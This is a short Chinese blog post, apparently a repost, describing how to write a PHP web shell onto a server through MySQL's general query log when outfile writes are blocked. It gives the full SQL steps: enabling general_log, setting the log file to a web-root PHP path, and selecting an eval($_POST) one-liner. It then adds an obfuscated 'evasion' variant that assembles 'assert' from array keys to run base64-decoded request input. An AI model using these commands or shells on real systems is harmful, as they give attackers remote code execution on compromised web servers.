SQL语句利用日志写shell

最新推荐文章于 2024-04-10 11:00:39 发布

转载最新推荐文章于 2024-04-10 11:00:39 发布 · 156 阅读

0 ·

CC 4.0 BY-SA版权

原文链接：http://www.cnblogs.com/hookjoy/p/8589509.html

文章标签：

#shell #php #数据库

本文介绍了一种通过SQL语句写入PHP Shell的方法，并详细展示了如何利用MySQL的配置及特性来实现这一过程。该方法涉及开启General Log模式、指定日志文件路径以及构造特定的SQL查询来生成免杀的Web Shell。

outfile被禁止，或者写入文件被拦截；

在数据库中操作如下：（必须是root权限）

show variables like '%general%';  #查看配置
 
set global general_log = on;  #开启general log模式
 
set global general_log_file = '/var/www/html/1.php';   #设置日志目录为shell地址
 
select '<?php eval($_POST[cmd]);?>'  #写入shell

SQL查询免杀shell的语句

SELECT "<?php $p = array('f'=>'a','pffff'=>'s','e'=>'fffff','lfaaaa'=>'r','nnnnn'=>'t');$a = array_keys($p);$_=$p['pffff'].$p['pffff'].$a[2];$_= 'a'.$_.'rt';$_(base64_decode($_REQUEST['username']));?>"